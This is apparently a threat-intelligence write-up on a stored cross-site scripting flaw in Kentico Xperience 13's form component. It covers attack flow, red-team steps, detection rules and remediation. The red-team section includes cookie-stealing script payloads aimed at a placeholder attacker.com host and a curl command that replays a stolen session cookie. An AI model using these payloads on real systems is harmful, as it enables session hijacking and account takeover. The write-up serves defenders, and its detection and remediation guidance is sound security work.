CVE-2025-5591

Executive Summary

CVE-2025-5591 is a stored cross-site scripting (XSS) vulnerability in Kentico Xperience 13, a .NET-based content management system. The flaw resides in a form component, allowing an authenticated attacker to inject malicious scripts that persist on the server. When a victim user (e.g., an administrator) views the compromised form, the script executes in their browser, enabling session hijacking and unauthorized actions within the victim’s security context. No public exploit code or patch is currently available, but the vulnerability is classified as high risk due to the potential for privilege escalation and lateral movement within the CMS.

Supply Chain & Package Security

Kentico Xperience is a proprietary .NET CMS distributed via NuGet packages and licensed binaries. The vulnerability does not originate from an open-source package but from the core application logic. Organizations should verify the integrity of their Kentico installation and monitor for official patches. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Not yet assigned)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user with form creation rights)
• User Interaction: Required (victim must view the compromised form)
• Scope: Changed (attacker can perform actions in victim’s context)
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: None
• Threat Level: High (session hijacking, privilege escalation)

Deep Dive & Mechanics

The vulnerability exists in the Kentico Xperience 13 form component, which allows users to create custom forms with various input fields. The application fails to properly sanitize user-supplied input before storing it in the database and rendering it in the admin interface. An attacker with form creation privileges can inject malicious JavaScript into a form field (e.g., a text input or label). When an administrator or another user views the form’s submissions or preview, the script executes in the context of the victim’s session.

Attack Flow:

1. Attacker logs in with a low-privileged account that has permission to create or edit forms.
2. Attacker creates a new form or modifies an existing one, injecting a payload such as <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> into a text field.
3. The payload is stored in the Kentico database without sanitization.
4. Victim (e.g., admin) navigates to the form’s submission list or preview page.
5. The browser renders the malicious script, sending the victim’s session cookie to the attacker.
6. Attacker uses the stolen cookie to impersonate the victim and perform actions (e.g., create new admin accounts, modify site content).

Vulnerable vs. Patched Code

Vulnerable Code (Kentico Xperience 13): The form component likely uses @Html.Raw() or similar methods to render user input without encoding. Example:

@Html.Raw(Model.FormField.Value) // No encoding

Patched Code (Expected): The fix should apply HTML encoding to all user-supplied values before rendering:

@Html.Encode(Model.FormField.Value) // HTML-encoded output

Exploitation & Lab Setup

Red Team

1. Prerequisites: Access to a Kentico Xperience 13 instance with a low-privileged account that can create/edit forms.
2. Payload Injection:
   • Navigate to the form builder (e.g., /CMSModules/Forms/FormBuilder.aspx).
   • Create a new form or edit an existing one.
   • In a text field, insert the following payload:

     <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
     

   • Save the form.
3. Trigger:
   • Send a link to the victim (e.g., admin) pointing to the form’s submission page (e.g., /CMSModules/Forms/FormSubmissions.aspx?formid=123).
   • When the victim views the page, the script executes and exfiltrates the cookie.
4. Session Hijacking:
   • Use the stolen cookie in a browser or tool like curl:

     curl -b "ASP.NET_SessionId=stolen_cookie" https://target.com/CMSModules/Administration/Users/UserList.aspx
     

Blue Team

1. Detection:
   • Monitor form creation and modification events in Kentico audit logs.
   • Look for unusual JavaScript patterns in form field values (e.g., <script>, onload, onerror).
2. Prevention:
   • Implement a Web Application Firewall (WAF) rule to block XSS payloads in form submissions.
   • Restrict form creation privileges to trusted users only.
3. Response:
   • If an attack is detected, revoke the compromised session and force password reset for affected accounts.
   • Review and sanitize all form field values in the database.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing cookie= in the query string.
• File: Suspicious entries in Kentico form field data (e.g., <script> tags in CMS_Form table).
• Log: Kentico audit log entries showing form creation/modification by unexpected users.
• Session: Unusual session activity (e.g., admin actions from a non-admin IP).

Detection Engineering

YARA Rule

rule Kentico_XSS_Stored {
    meta:
        description = "Detects stored XSS payloads in Kentico Xperience form fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5591"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Kentico Xperience Stored XSS Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential stored XSS payloads in Kentico form submissions
author: Valters IT
logsource:
    product: kentico
    service: audit
detection:
    selection:
        EventID: "FormModified"
        FieldValue|contains: 
            - "<script"
            - "onload="
            - "onerror="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5591 Kentico XSS Payload in Form Field"; flow:to_server; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate:
   • Disable form creation for non-admin users.
   • Manually review and sanitize all existing form field values in the database.
   • Implement a WAF rule to block XSS patterns in form submissions.
2. Short-term:
   • Apply input validation and output encoding to all form fields (use @Html.Encode() in Razor views).
   • Restrict form editing permissions to a minimal set of trusted users.
3. Long-term:
   • Monitor Kentico’s official advisory for a patch and apply it as soon as available.
   • Conduct a security audit of all custom modules and components.
   • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT
DevSecOps & Cyber Threat Intelligence